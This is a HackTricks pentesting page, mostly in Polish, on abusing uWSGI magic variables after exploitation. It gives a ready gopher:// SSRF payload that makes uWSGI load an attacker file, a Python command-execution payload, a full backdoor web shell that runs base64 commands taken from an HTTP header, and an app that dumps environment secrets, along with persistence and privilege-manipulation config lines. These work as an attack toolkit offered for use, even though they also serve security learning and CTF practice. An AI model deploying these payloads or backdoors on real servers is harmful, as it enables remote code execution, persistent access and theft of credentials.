WSGI Post-Exploitation Tricks
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
WSGI Przegląd
Web Server Gateway Interface (WSGI) to specyfikacja opisująca, jak serwer WWW komunikuje się z aplikacjami webowymi oraz jak aplikacje webowe mogą być łańcuszkowane, aby przetworzyć jedno żądanie. uWSGI jest jednym z najpopularniejszych serwerów WSGI, często używany do serwowania aplikacji webowych w Pythonie.
Eksploatacja magicznych zmiennych uWSGI
uWSGI udostępnia specjalne "magic variables", które mogą być użyte do dynamicznej konfiguracji zachowania serwera. Zmienne te można ustawić poprzez nagłówki HTTP i mogą prowadzić do poważnych luk w zabezpieczeniach, jeśli nie są prawidłowo walidowane.
Kluczowe zmienne podatne na eksploatację
UWSGI_FILE
- Wykonanie dowolnego pliku
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Ta zmienna umożliwia ładowanie i wykonywanie dowolnych plików Pythona jako aplikacji WSGI. Jeśli atakujący może kontrolować ten parametr, może osiągnąć Remote Code Execution (RCE).
UWSGI_SCRIPT
- Ładowanie skryptu
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Wczytuje określony skrypt jako nową aplikację. W połączeniu z file upload lub write capabilities, może to prowadzić do RCE.
UWSGI_MODULE
and UWSGI_CALLABLE
- Dynamic Module Loading
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Te parametry pozwalają na ładowanie dowolnych modułów Pythona i wywoływanie w nich konkretnych funkcji.
UWSGI_SETENV
- Manipulacja zmiennymi środowiskowymi
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Może służyć do modyfikowania environment variables, potencjalnie wpływając na zachowanie aplikacji lub powodując ładowanie złośliwej konfiguracji.
UWSGI_PYHOME
- Python Environment Manipulation
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Zmienia wirtualne środowisko Pythona, potencjalnie ładując złośliwe pakiety lub inne interpretery Pythona.
UWSGI_CHDIR
- Directory Traversal
uwsgi_param UWSGI_CHDIR /etc/;
Zmienia katalog roboczy przed przetwarzaniem żądań, co może zostać wykorzystane do ataków typu path traversal.
SSRF + Gopher do
The Attack Vector
Gdy uWSGI jest dostępny przez SSRF (Server-Side Request Forgery), atakujący mogą wchodzić w interakcję z wewnętrznym socketem uWSGI, aby wykorzystać zmienne magiczne. Jest to szczególnie niebezpieczne, gdy:
- Aplikacja ma podatności SSRF
- uWSGI działa na wewnętrznym porcie/socket
- Aplikacja nie waliduje poprawnie zmiennych magicznych
uWSGI jest dostępny z powodu SSRF, ponieważ plik konfiguracyjny uwsgi.ini
zawiera: socket = 127.0.0.1:5000
, co sprawia, że jest dostępny z aplikacji webowej poprzez SSRF.
Exploitation Example
Krok 1: Create Malicious Payload
Najpierw wstrzyknij kod Python do pliku dostępnego dla serwera (zapis pliku wewnątrz serwera, rozszerzenie pliku nie ma znaczenia):
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
Krok 2: Przygotuj żądanie protokołu uWSGI
Użyj protokołu Gopher, aby wysłać surowe pakiety uWSGI:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
This payload:
- Nawiązuje połączenie z uWSGI na porcie 5000
- Ustawia
UWSGI_FILE
, tak by wskazywał na złośliwy plik - Zmusi uWSGI do załadowania i wykonania kodu Pythona
uWSGI Protocol Structure
The uWSGI protocol uses a binary format where:
- Zmienne są kodowane jako ciągi poprzedzone informacją o długości
- Każda zmienna ma:
[name_length][name][value_length][value]
- Pakiet zaczyna się nagłówkiem zawierającym całkowity rozmiar
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Następnie użyj UWSGI_FILE
, aby załadować ten backdoor:
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
Persistence oparta na zmiennych środowiskowych
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
2. Ujawnianie informacji
Zrzut zmiennych środowiskowych
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Dostęp do systemu plików
Użyj UWSGI_CHDIR
w połączeniu z serwowaniem plików, aby uzyskać dostęp do wrażliwych plików:
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
3. Privilege Escalation
Socket Manipulation
Jeśli uWSGI działa z podwyższonymi uprawnieniami, attackers mogą manipulować socket permissions:
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
Nadpisanie konfiguracji
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Źródła
- Dokumentacja zmiennych magicznych uWSGI
- Opis rozwiązania IOI SaveData CTF
- Najlepsze praktyki bezpieczeństwa uWSGI
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.